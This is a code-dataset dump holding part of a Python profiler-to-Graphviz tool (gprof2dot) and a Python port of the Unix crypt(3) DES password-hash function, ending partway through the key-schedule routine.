begin_graph(self): self.write('digraph {\n') def end_graph(self): self.write('}\n') def attr(self, what, **attrs): self.write("\t") self.write(what) self.attr_list(attrs) self.write(";\n") def node(self, node, **attrs): self.write("\t") self.id(node) self.attr_list(attrs) self.write(";\n") def edge(self, src, dst, **attrs): self.write("\t") self.id(src) self.write(" -> ") self.id(dst) self.attr_list(attrs) self.write(";\n") def attr_list(self, attrs): if not attrs: return self.write(' [') first = True for name, value in attrs.iteritems(): if first: first = False else: self.write(", ") self.id(name) self.write('=') self.id(value) self.write(']') def id(self, id): if isinstance(id, (int, float)): s = str(id) elif isinstance(id, basestring): if id.isalnum() and not id.startswith('0x'): s = id else: s = self.escape(id) else: raise TypeError self.write(s) def color(self, (r, g, b)): def float2int(f): if f <= 0.0: return 0 if f >= 1.0: return 255 return int(255.0*f + 0.5) return "#" + "".join(["%02x" % float2int(c) for c in (r, g, b)]) def escape(self, s): s = s.encode('utf-8') s = s.replace('\\', r'\\') s = s.replace('\n', r'\n') s = s.replace('\t', r'\t') s = s.replace('"', r'\"') return '"' + s + '"' def write(self, s): self.fp.write(s) class Main: """Main program.""" themes = { "color": TEMPERATURE_COLORMAP, "pink": PINK_COLORMAP, "gray": GRAY_COLORMAP, "bw": BW_COLORMAP, } def main(self): """Main program.""" parser = optparse.OptionParser( usage="\n\t%prog [options] [file] ...", version="%%prog %s" % __version__) parser.add_option( '-o', '--output', metavar='FILE', type="string", dest="output", help="output filename [stdout]") parser.add_option( '-n', '--node-thres', metavar='PERCENTAGE', type="float", dest="node_thres", default=0.5, help="eliminate nodes below this threshold [default: %default]") parser.add_option( '-e', '--edge-thres', metavar='PERCENTAGE', type="float", dest="edge_thres", default=0.1, help="eliminate edges below this threshold [default: %default]") parser.add_option( '-f', '--format', type="choice", choices=('prof', 'callgrind', 'oprofile', 'sysprof', 'pstats', 'shark', 'sleepy', 'aqtime', 'xperf'), dest="format", default="prof", help="profile format: prof, callgrind, oprofile, sysprof, shark, sleepy, aqtime, pstats, or xperf [default: %default]") parser.add_option( '-c', '--colormap', type="choice", choices=('color', 'pink', 'gray', 'bw'), dest="theme", default="color", help="color map: color, pink, gray, or bw [default: %default]") parser.add_option( '-s', '--strip', action="store_true", dest="strip", default=False, help="strip function parameters, template parameters, and const modifiers from demangled C++ function names") parser.add_option( '-w', '--wrap', action="store_true", dest="wrap", default=False, help="wrap function names") # add a new option to control skew of the colorization curve parser.add_option( '--skew', type="float", dest="theme_skew", default=1.0, help="skew the colorization curve. Values < 1.0 give more variety to lower percentages. Value > 1.0 give less variety to lower percentages") (self.options, self.args) = parser.parse_args(sys.argv[1:]) if len(self.args) > 1 and self.options.format != 'pstats': parser.error('incorrect number of arguments') try: self.theme = self.themes[self.options.theme] except KeyError: parser.error('invalid colormap \'%s\'' % self.options.theme) # set skew on the theme now that it has been picked. if self.options.theme_skew: self.theme.skew = self.options.theme_skew if self.options.format == 'prof': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = GprofParser(fp) elif self.options.format == 'callgrind': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = CallgrindParser(fp) elif self.options.format == 'oprofile': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = OprofileParser(fp) elif self.options.format == 'sysprof': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = SysprofParser(fp) elif self.options.format == 'pstats': if not self.args: parser.error('at least a file must be specified for pstats input') parser = PstatsParser(*self.args) elif self.options.format == 'xperf': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = XPerfParser(fp) elif self.options.format == 'shark': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = SharkParser(fp) elif self.options.format == 'sleepy': if len(self.args) != 1: parser.error('exactly one file must be specified for sleepy input') parser = SleepyParser(self.args[0]) elif self.options.format == 'aqtime': if not self.args: fp = sys.stdin else: fp = open(self.args[0], 'rt') parser = AQtimeParser(fp) else: parser.error('invalid format \'%s\'' % self.options.format) self.profile = parser.parse() if self.options.output is None: self.output = sys.stdout else: self.output = open(self.options.output, 'wt') self.write_graph() _parenthesis_re = re.compile(r'\([^()]*\)') _angles_re = re.compile(r'<[^<>]*>') _const_re = re.compile(r'\s+const$') def strip_function_name(self, name): """Remove extraneous information from C++ demangled function names.""" # Strip function parameters from name by recursively removing paired parenthesis while True: name, n = self._parenthesis_re.subn('', name) if not n: break # Strip const qualifier name = self._const_re.sub('', name) # Strip template parameters from name by recursively removing paired angles while True: name, n = self._angles_re.subn('', name) if not n: break return name def wrap_function_name(self, name): """Split the function name on multiple lines.""" if len(name) > 32: ratio = 2.0/3.0 height = max(int(len(name)/(1.0 - ratio) + 0.5), 1) width = max(len(name)/height, 32) # TODO: break lines in symbols name = textwrap.fill(name, width, break_long_words=False) # Take away spaces name = name.replace(", ", ",") name = name.replace("> >", ">>") name = name.replace("> >", ">>") # catch consecutive return name def compress_function_name(self, name): """Compress function name according to the user preferences.""" if self.options.strip: name = self.strip_function_name(name) if self.options.wrap: name = self.wrap_function_name(name) # TODO: merge functions with same resulting name return name def write_graph(self): dot = DotWriter(self.output) profile = self.profile profile.prune(self.options.node_thres/100.0, self.options.edge_thres/100.0) for function in profile.functions.itervalues(): function.name = self.compress_function_name(function.name) dot.graph(profile, self.theme) if __name__ == '__main__': Main().main()
84,004
Python
.py
2,152
28.052974
154
0.549521
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,178
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/fcrypt/__init__.py
#!/usr/bin/env python #Copyright (c) 2004, Carey Evans <careye@spamcop.net> #All rights reserved. #Redistribution and use in source and binary forms, with or without modification, #are permitted provided that the following conditions are met: #* Redistributions of source code must retain the above copyright notice, #this list of conditions and the following disclaimer. #* Redistributions in binary form must reproduce the above copyright notice, #this list of conditions and the following disclaimer in the documentation #and/or other materials provided with the distribution. #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND #ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR #ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; #LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND #ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT #(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS #SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. pass
1,356
Python
.py
21
63.333333
81
0.816541
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,179
fcrypt.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/thirdparty/fcrypt/fcrypt.py
# fcrypt.py """Unix crypt(3) password hash algorithm. This is a port to Python of the standard Unix password crypt function. It's a single self-contained source file that works with any version of Python from version 1.5 or higher. The code is based on Eric Young's optimised crypt in C. Python fcrypt is intended for users whose Python installation has not had the crypt module enabled, or whose C library doesn't include the crypt function. See the documentation for the Python crypt module for more information: http://www.python.org/doc/current/lib/module-crypt.html An alternative Python crypt module that uses the MD5 algorithm and is more secure than fcrypt is available from michal j wallace at: http://www.sabren.net/code/python/crypt/index.php3 The crypt() function is a one-way hash function, intended to hide a password such that the only way to find out the original password is to guess values until you get a match. If you need to encrypt and decrypt data, this is not the module for you. There are at least two packages providing Python cryptography support: M2Crypto at <http://www.pobox.org.sg/home/ngps/m2/>, and amkCrypto at <http://www.amk.ca/python/code/crypto.html>. Functions: crypt() -- return hashed password """ __author__ = 'Carey Evans <careye@spamcop.net>' __version__ = '1.3.1' __date__ = '21 February 2004' __credits__ = '''michal j wallace for inspiring me to write this. Eric Young for the C code this module was copied from.''' __all__ = ['crypt'] # Copyright (C) 2000, 2001, 2004 Carey Evans <careye@spamcop.net> # # Permission to use, copy, modify, and distribute this software and # its documentation for any purpose and without fee is hereby granted, # provided that the above copyright notice appear in all copies and # that both that copyright notice and this permission notice appear in # supporting documentation. # # CAREY EVANS DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, # INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO # EVENT SHALL CAREY EVANS BE LIABLE FOR ANY SPECIAL, INDIRECT OR # CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF # USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR # OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR # PERFORMANCE OF THIS SOFTWARE. # Based on C code by Eric Young (eay@mincom.oz.au), which has the # following copyright. Especially note condition 3, which imposes # extra restrictions on top of the standard Python license used above. # # The fcrypt.c source is available from: # ftp://ftp.psy.uq.oz.au/pub/Crypto/DES/ # ----- BEGIN fcrypt.c LICENSE ----- # # This library is free for commercial and non-commercial use as long as # the following conditions are aheared to. The following conditions # apply to all code found in this distribution, be it the RC4, RSA, # lhash, DES, etc., code; not just the SSL code. The SSL documentation # included with this distribution is covered by the same copyright terms # except that the holder is Tim Hudson (tjh@mincom.oz.au). # # Copyright remains Eric Young's, and as such any Copyright notices in # the code are not to be removed. # If this package is used in a product, Eric Young should be given attribution # as the author of the parts of the library used. # This can be in the form of a textual message at program startup or # in documentation (online or textual) provided with the package. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the copyright # notice, this list of conditions and the following disclaimer. # 2. Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # 3. All advertising materials mentioning features or use of this software # must display the following acknowledgement: # "This product includes cryptographic software written by # Eric Young (eay@mincom.oz.au)" # The word 'cryptographic' can be left out if the rouines from the library # being used are not cryptographic related :-). # 4. If you include any Windows specific code (or a derivative thereof) from # the apps directory (application code) you must include an acknowledgement: # "This product includes software written by Tim Hudson (tjh@mincom.oz.au)" # # THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # # The licence and distribution terms for any publically available version or # derivative of this code cannot be changed. i.e. this code cannot simply be # copied and put under another distribution licence # [including the GNU Public Licence.] # # ----- END fcrypt.c LICENSE ----- import string, struct _ITERATIONS = 16 _SPtrans = ( # nibble 0 [ 0x00820200, 0x00020000, 0x80800000, 0x80820200, 0x00800000, 0x80020200, 0x80020000, 0x80800000, 0x80020200, 0x00820200, 0x00820000, 0x80000200, 0x80800200, 0x00800000, 0x00000000, 0x80020000, 0x00020000, 0x80000000, 0x00800200, 0x00020200, 0x80820200, 0x00820000, 0x80000200, 0x00800200, 0x80000000, 0x00000200, 0x00020200, 0x80820000, 0x00000200, 0x80800200, 0x80820000, 0x00000000, 0x00000000, 0x80820200, 0x00800200, 0x80020000, 0x00820200, 0x00020000, 0x80000200, 0x00800200, 0x80820000, 0x00000200, 0x00020200, 0x80800000, 0x80020200, 0x80000000, 0x80800000, 0x00820000, 0x80820200, 0x00020200, 0x00820000, 0x80800200, 0x00800000, 0x80000200, 0x80020000, 0x00000000, 0x00020000, 0x00800000, 0x80800200, 0x00820200, 0x80000000, 0x80820000, 0x00000200, 0x80020200 ], # nibble 1 [ 0x10042004, 0x00000000, 0x00042000, 0x10040000, 0x10000004, 0x00002004, 0x10002000, 0x00042000, 0x00002000, 0x10040004, 0x00000004, 0x10002000, 0x00040004, 0x10042000, 0x10040000, 0x00000004, 0x00040000, 0x10002004, 0x10040004, 0x00002000, 0x00042004, 0x10000000, 0x00000000, 0x00040004, 0x10002004, 0x00042004, 0x10042000, 0x10000004, 0x10000000, 0x00040000, 0x00002004, 0x10042004, 0x00040004, 0x10042000, 0x10002000, 0x00042004, 0x10042004, 0x00040004, 0x10000004, 0x00000000, 0x10000000, 0x00002004, 0x00040000, 0x10040004, 0x00002000, 0x10000000, 0x00042004, 0x10002004, 0x10042000, 0x00002000, 0x00000000, 0x10000004, 0x00000004, 0x10042004, 0x00042000, 0x10040000, 0x10040004, 0x00040000, 0x00002004, 0x10002000, 0x10002004, 0x00000004, 0x10040000, 0x00042000 ], # nibble 2 [ 0x41000000, 0x01010040, 0x00000040, 0x41000040, 0x40010000, 0x01000000, 0x41000040, 0x00010040, 0x01000040, 0x00010000, 0x01010000, 0x40000000, 0x41010040, 0x40000040, 0x40000000, 0x41010000, 0x00000000, 0x40010000, 0x01010040, 0x00000040, 0x40000040, 0x41010040, 0x00010000, 0x41000000, 0x41010000, 0x01000040, 0x40010040, 0x01010000, 0x00010040, 0x00000000, 0x01000000, 0x40010040, 0x01010040, 0x00000040, 0x40000000, 0x00010000, 0x40000040, 0x40010000, 0x01010000, 0x41000040, 0x00000000, 0x01010040, 0x00010040, 0x41010000, 0x40010000, 0x01000000, 0x41010040, 0x40000000, 0x40010040, 0x41000000, 0x01000000, 0x41010040, 0x00010000, 0x01000040, 0x41000040, 0x00010040, 0x01000040, 0x00000000, 0x41010000, 0x40000040, 0x41000000, 0x40010040, 0x00000040, 0x01010000 ], # nibble 3 [ 0x00100402, 0x04000400, 0x00000002, 0x04100402, 0x00000000, 0x04100000, 0x04000402, 0x00100002, 0x04100400, 0x04000002, 0x04000000, 0x00000402, 0x04000002, 0x00100402, 0x00100000, 0x04000000, 0x04100002, 0x00100400, 0x00000400, 0x00000002, 0x00100400, 0x04000402, 0x04100000, 0x00000400, 0x00000402, 0x00000000, 0x00100002, 0x04100400, 0x04000400, 0x04100002, 0x04100402, 0x00100000, 0x04100002, 0x00000402, 0x00100000, 0x04000002, 0x00100400, 0x04000400, 0x00000002, 0x04100000, 0x04000402, 0x00000000, 0x00000400, 0x00100002, 0x00000000, 0x04100002, 0x04100400, 0x00000400, 0x04000000, 0x04100402, 0x00100402, 0x00100000, 0x04100402, 0x00000002, 0x04000400, 0x00100402, 0x00100002, 0x00100400, 0x04100000, 0x04000402, 0x00000402, 0x04000000, 0x04000002, 0x04100400 ], # nibble 4 [ 0x02000000, 0x00004000, 0x00000100, 0x02004108, 0x02004008, 0x02000100, 0x00004108, 0x02004000, 0x00004000, 0x00000008, 0x02000008, 0x00004100, 0x02000108, 0x02004008, 0x02004100, 0x00000000, 0x00004100, 0x02000000, 0x00004008, 0x00000108, 0x02000100, 0x00004108, 0x00000000, 0x02000008, 0x00000008, 0x02000108, 0x02004108, 0x00004008, 0x02004000, 0x00000100, 0x00000108, 0x02004100, 0x02004100, 0x02000108, 0x00004008, 0x02004000, 0x00004000, 0x00000008, 0x02000008, 0x02000100, 0x02000000, 0x00004100, 0x02004108, 0x00000000, 0x00004108, 0x02000000, 0x00000100, 0x00004008, 0x02000108, 0x00000100, 0x00000000, 0x02004108, 0x02004008, 0x02004100, 0x00000108, 0x00004000, 0x00004100, 0x02004008, 0x02000100, 0x00000108, 0x00000008, 0x00004108, 0x02004000, 0x02000008 ], # nibble 5 [ 0x20000010, 0x00080010, 0x00000000, 0x20080800, 0x00080010, 0x00000800, 0x20000810, 0x00080000, 0x00000810, 0x20080810, 0x00080800, 0x20000000, 0x20000800, 0x20000010, 0x20080000, 0x00080810, 0x00080000, 0x20000810, 0x20080010, 0x00000000, 0x00000800, 0x00000010, 0x20080800, 0x20080010, 0x20080810, 0x20080000, 0x20000000, 0x00000810, 0x00000010, 0x00080800, 0x00080810, 0x20000800, 0x00000810, 0x20000000, 0x20000800, 0x00080810, 0x20080800, 0x00080010, 0x00000000, 0x20000800, 0x20000000, 0x00000800, 0x20080010, 0x00080000, 0x00080010, 0x20080810, 0x00080800, 0x00000010, 0x20080810, 0x00080800, 0x00080000, 0x20000810, 0x20000010, 0x20080000, 0x00080810, 0x00000000, 0x00000800, 0x20000010, 0x20000810, 0x20080800, 0x20080000, 0x00000810, 0x00000010, 0x20080010 ], # nibble 6 [ 0x00001000, 0x00000080, 0x00400080, 0x00400001, 0x00401081, 0x00001001, 0x00001080, 0x00000000, 0x00400000, 0x00400081, 0x00000081, 0x00401000, 0x00000001, 0x00401080, 0x00401000, 0x00000081, 0x00400081, 0x00001000, 0x00001001, 0x00401081, 0x00000000, 0x00400080, 0x00400001, 0x00001080, 0x00401001, 0x00001081, 0x00401080, 0x00000001, 0x00001081, 0x00401001, 0x00000080, 0x00400000, 0x00001081, 0x00401000, 0x00401001, 0x00000081, 0x00001000, 0x00000080, 0x00400000, 0x00401001, 0x00400081, 0x00001081, 0x00001080, 0x00000000, 0x00000080, 0x00400001, 0x00000001, 0x00400080, 0x00000000, 0x00400081, 0x00400080, 0x00001080, 0x00000081, 0x00001000, 0x00401081, 0x00400000, 0x00401080, 0x00000001, 0x00001001, 0x00401081, 0x00400001, 0x00401080, 0x00401000, 0x00001001 ], # nibble 7 [ 0x08200020, 0x08208000, 0x00008020, 0x00000000, 0x08008000, 0x00200020, 0x08200000, 0x08208020, 0x00000020, 0x08000000, 0x00208000, 0x00008020, 0x00208020, 0x08008020, 0x08000020, 0x08200000, 0x00008000, 0x00208020, 0x00200020, 0x08008000, 0x08208020, 0x08000020, 0x00000000, 0x00208000, 0x08000000, 0x00200000, 0x08008020, 0x08200020, 0x00200000, 0x00008000, 0x08208000, 0x00000020, 0x00200000, 0x00008000, 0x08000020, 0x08208020, 0x00008020, 0x08000000, 0x00000000, 0x00208000, 0x08200020, 0x08008020, 0x08008000, 0x00200020, 0x08208000, 0x00000020, 0x00200020, 0x08008000, 0x08208020, 0x00200000, 0x08200000, 0x08000020, 0x00208000, 0x00008020, 0x08008020, 0x08200000, 0x00000020, 0x08208000, 0x00208020, 0x00000000, 0x08000000, 0x08200020, 0x00008000, 0x00208020 ] ) _skb = ( # for C bits (numbered as per FIPS 46) 1 2 3 4 5 6 [ 0x00000000, 0x00000010, 0x20000000, 0x20000010, 0x00010000, 0x00010010, 0x20010000, 0x20010010, 0x00000800, 0x00000810, 0x20000800, 0x20000810, 0x00010800, 0x00010810, 0x20010800, 0x20010810, 0x00000020, 0x00000030, 0x20000020, 0x20000030, 0x00010020, 0x00010030, 0x20010020, 0x20010030, 0x00000820, 0x00000830, 0x20000820, 0x20000830, 0x00010820, 0x00010830, 0x20010820, 0x20010830, 0x00080000, 0x00080010, 0x20080000, 0x20080010, 0x00090000, 0x00090010, 0x20090000, 0x20090010, 0x00080800, 0x00080810, 0x20080800, 0x20080810, 0x00090800, 0x00090810, 0x20090800, 0x20090810, 0x00080020, 0x00080030, 0x20080020, 0x20080030, 0x00090020, 0x00090030, 0x20090020, 0x20090030, 0x00080820, 0x00080830, 0x20080820, 0x20080830, 0x00090820, 0x00090830, 0x20090820, 0x20090830 ], # for C bits (numbered as per FIPS 46) 7 8 10 11 12 13 [ 0x00000000, 0x02000000, 0x00002000, 0x02002000, 0x00200000, 0x02200000, 0x00202000, 0x02202000, 0x00000004, 0x02000004, 0x00002004, 0x02002004, 0x00200004, 0x02200004, 0x00202004, 0x02202004, 0x00000400, 0x02000400, 0x00002400, 0x02002400, 0x00200400, 0x02200400, 0x00202400, 0x02202400, 0x00000404, 0x02000404, 0x00002404, 0x02002404, 0x00200404, 0x02200404, 0x00202404, 0x02202404, 0x10000000, 0x12000000, 0x10002000, 0x12002000, 0x10200000, 0x12200000, 0x10202000, 0x12202000, 0x10000004, 0x12000004, 0x10002004, 0x12002004, 0x10200004, 0x12200004, 0x10202004, 0x12202004, 0x10000400, 0x12000400, 0x10002400, 0x12002400, 0x10200400, 0x12200400, 0x10202400, 0x12202400, 0x10000404, 0x12000404, 0x10002404, 0x12002404, 0x10200404, 0x12200404, 0x10202404, 0x12202404 ], # for C bits (numbered as per FIPS 46) 14 15 16 17 19 20 [ 0x00000000, 0x00000001, 0x00040000, 0x00040001, 0x01000000, 0x01000001, 0x01040000, 0x01040001, 0x00000002, 0x00000003, 0x00040002, 0x00040003, 0x01000002, 0x01000003, 0x01040002, 0x01040003, 0x00000200, 0x00000201, 0x00040200, 0x00040201, 0x01000200, 0x01000201, 0x01040200, 0x01040201, 0x00000202, 0x00000203, 0x00040202, 0x00040203, 0x01000202, 0x01000203, 0x01040202, 0x01040203, 0x08000000, 0x08000001, 0x08040000, 0x08040001, 0x09000000, 0x09000001, 0x09040000, 0x09040001, 0x08000002, 0x08000003, 0x08040002, 0x08040003, 0x09000002, 0x09000003, 0x09040002, 0x09040003, 0x08000200, 0x08000201, 0x08040200, 0x08040201, 0x09000200, 0x09000201, 0x09040200, 0x09040201, 0x08000202, 0x08000203, 0x08040202, 0x08040203, 0x09000202, 0x09000203, 0x09040202, 0x09040203 ], # for C bits (numbered as per FIPS 46) 21 23 24 26 27 28 [ 0x00000000, 0x00100000, 0x00000100, 0x00100100, 0x00000008, 0x00100008, 0x00000108, 0x00100108, 0x00001000, 0x00101000, 0x00001100, 0x00101100, 0x00001008, 0x00101008, 0x00001108, 0x00101108, 0x04000000, 0x04100000, 0x04000100, 0x04100100, 0x04000008, 0x04100008, 0x04000108, 0x04100108, 0x04001000, 0x04101000, 0x04001100, 0x04101100, 0x04001008, 0x04101008, 0x04001108, 0x04101108, 0x00020000, 0x00120000, 0x00020100, 0x00120100, 0x00020008, 0x00120008, 0x00020108, 0x00120108, 0x00021000, 0x00121000, 0x00021100, 0x00121100, 0x00021008, 0x00121008, 0x00021108, 0x00121108, 0x04020000, 0x04120000, 0x04020100, 0x04120100, 0x04020008, 0x04120008, 0x04020108, 0x04120108, 0x04021000, 0x04121000, 0x04021100, 0x04121100, 0x04021008, 0x04121008, 0x04021108, 0x04121108 ], # for D bits (numbered as per FIPS 46) 1 2 3 4 5 6 [ 0x00000000, 0x10000000, 0x00010000, 0x10010000, 0x00000004, 0x10000004, 0x00010004, 0x10010004, 0x20000000, 0x30000000, 0x20010000, 0x30010000, 0x20000004, 0x30000004, 0x20010004, 0x30010004, 0x00100000, 0x10100000, 0x00110000, 0x10110000, 0x00100004, 0x10100004, 0x00110004, 0x10110004, 0x20100000, 0x30100000, 0x20110000, 0x30110000, 0x20100004, 0x30100004, 0x20110004, 0x30110004, 0x00001000, 0x10001000, 0x00011000, 0x10011000, 0x00001004, 0x10001004, 0x00011004, 0x10011004, 0x20001000, 0x30001000, 0x20011000, 0x30011000, 0x20001004, 0x30001004, 0x20011004, 0x30011004, 0x00101000, 0x10101000, 0x00111000, 0x10111000, 0x00101004, 0x10101004, 0x00111004, 0x10111004, 0x20101000, 0x30101000, 0x20111000, 0x30111000, 0x20101004, 0x30101004, 0x20111004, 0x30111004 ], # for D bits (numbered as per FIPS 46) 8 9 11 12 13 14 [ 0x00000000, 0x08000000, 0x00000008, 0x08000008, 0x00000400, 0x08000400, 0x00000408, 0x08000408, 0x00020000, 0x08020000, 0x00020008, 0x08020008, 0x00020400, 0x08020400, 0x00020408, 0x08020408, 0x00000001, 0x08000001, 0x00000009, 0x08000009, 0x00000401, 0x08000401, 0x00000409, 0x08000409, 0x00020001, 0x08020001, 0x00020009, 0x08020009, 0x00020401, 0x08020401, 0x00020409, 0x08020409, 0x02000000, 0x0A000000, 0x02000008, 0x0A000008, 0x02000400, 0x0A000400, 0x02000408, 0x0A000408, 0x02020000, 0x0A020000, 0x02020008, 0x0A020008, 0x02020400, 0x0A020400, 0x02020408, 0x0A020408, 0x02000001, 0x0A000001, 0x02000009, 0x0A000009, 0x02000401, 0x0A000401, 0x02000409, 0x0A000409, 0x02020001, 0x0A020001, 0x02020009, 0x0A020009, 0x02020401, 0x0A020401, 0x02020409, 0x0A020409 ], # for D bits (numbered as per FIPS 46) 16 17 18 19 20 21 [ 0x00000000, 0x00000100, 0x00080000, 0x00080100, 0x01000000, 0x01000100, 0x01080000, 0x01080100, 0x00000010, 0x00000110, 0x00080010, 0x00080110, 0x01000010, 0x01000110, 0x01080010, 0x01080110, 0x00200000, 0x00200100, 0x00280000, 0x00280100, 0x01200000, 0x01200100, 0x01280000, 0x01280100, 0x00200010, 0x00200110, 0x00280010, 0x00280110, 0x01200010, 0x01200110, 0x01280010, 0x01280110, 0x00000200, 0x00000300, 0x00080200, 0x00080300, 0x01000200, 0x01000300, 0x01080200, 0x01080300, 0x00000210, 0x00000310, 0x00080210, 0x00080310, 0x01000210, 0x01000310, 0x01080210, 0x01080310, 0x00200200, 0x00200300, 0x00280200, 0x00280300, 0x01200200, 0x01200300, 0x01280200, 0x01280300, 0x00200210, 0x00200310, 0x00280210, 0x00280310, 0x01200210, 0x01200310, 0x01280210, 0x01280310 ], # for D bits (numbered as per FIPS 46) 22 23 24 25 27 28 [ 0x00000000, 0x04000000, 0x00040000, 0x04040000, 0x00000002, 0x04000002, 0x00040002, 0x04040002, 0x00002000, 0x04002000, 0x00042000, 0x04042000, 0x00002002, 0x04002002, 0x00042002, 0x04042002, 0x00000020, 0x04000020, 0x00040020, 0x04040020, 0x00000022, 0x04000022, 0x00040022, 0x04040022, 0x00002020, 0x04002020, 0x00042020, 0x04042020, 0x00002022, 0x04002022, 0x00042022, 0x04042022, 0x00000800, 0x04000800, 0x00040800, 0x04040800, 0x00000802, 0x04000802, 0x00040802, 0x04040802, 0x00002800, 0x04002800, 0x00042800, 0x04042800, 0x00002802, 0x04002802, 0x00042802, 0x04042802, 0x00000820, 0x04000820, 0x00040820, 0x04040820, 0x00000822, 0x04000822, 0x00040822, 0x04040822, 0x00002820, 0x04002820, 0x00042820, 0x04042820, 0x00002822, 0x04002822, 0x00042822, 0x04042822 ] ) _shifts2 = (0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0) _con_salt = [ 0xD2,0xD3,0xD4,0xD5,0xD6,0xD7,0xD8,0xD9, 0xDA,0xDB,0xDC,0xDD,0xDE,0xDF,0xE0,0xE1, 0xE2,0xE3,0xE4,0xE5,0xE6,0xE7,0xE8,0xE9, 0xEA,0xEB,0xEC,0xED,0xEE,0xEF,0xF0,0xF1, 0xF2,0xF3,0xF4,0xF5,0xF6,0xF7,0xF8,0xF9, 0xFA,0xFB,0xFC,0xFD,0xFE,0xFF,0x00,0x01, 0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09, 0x0A,0x0B,0x05,0x06,0x07,0x08,0x09,0x0A, 0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12, 0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x1A, 0x1B,0x1C,0x1D,0x1E,0x1F,0x20,0x21,0x22, 0x23,0x24,0x25,0x20,0x21,0x22,0x23,0x24, 0x25,0x26,0x27,0x28,0x29,0x2A,0x2B,0x2C, 0x2D,0x2E,0x2F,0x30,0x31,0x32,0x33,0x34, 0x35,0x36,0x37,0x38,0x39,0x3A,0x3B,0x3C, 0x3D,0x3E,0x3F,0x40,0x41,0x42,0x43,0x44 ] _cov_2char = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' def _HPERM_OP(a): """Clever bit manipulation.""" t = ((a << 18) ^ a) & 0xcccc0000 return a ^ t ^ ((t >> 18) & 0x3fff) def _PERM_OP(a,b,n,m): """Cleverer bit manipulation.""" t = ((a >> n) ^ b) & m b = b ^ t a = a ^ (t << n) return a,b def _set_key(password): """Generate DES key schedule from ASCII password.""" c,d = struct.unpack('<ii', password) c = (c & 0x7f7f7f7f) << 1 d = (d & 0x7f7f7f7f) << 1 d,c = _PERM_OP(d,c,4,0x0f0f0f0f) c = _HPERM_OP(c) d = _HPERM_OP(d) d,c = _PERM_OP(d,c,1,0x55555555) c,d = _PERM_OP(c,d,8,0x00ff00ff) d,c = _PERM_OP(d,c,1,0x55555555) # Any sign-extended bits are masked off. d = (((d & 0x000000ff) << 16) | (d & 0x0000ff00) | ((d & 0x00ff0000) >> 16) | ((c >> 4) & 0x0f000000)) c = c & 0x0fffffff # Copy globals into local variables for loop. shifts2 = _shifts2 skbc0, skbc1, skbc2, skbc3, skbd0, skbd1, skbd2, skbd3 = _skb k = [0] * (_ITERATIONS * 2) for i in xrange(_ITERATIONS): # Only operates on top 28 bits. if shifts2[i]: c = (c >> 2) | (c << 26) d = (d >> 2) | (d << 26) else: c = (c >> 1) | (c << 27) d = (d >> 1) | (d << 27) c = c & 0x0fffffff d = d & 0x0fffffff s = ( skbc0[ c & 0x3f ] | skbc1[((c>> 6) & 0x03) | ((c>> 7) & 0x3c)] | skbc2[((c>>13) & 0x0f) | ((c>>14) & 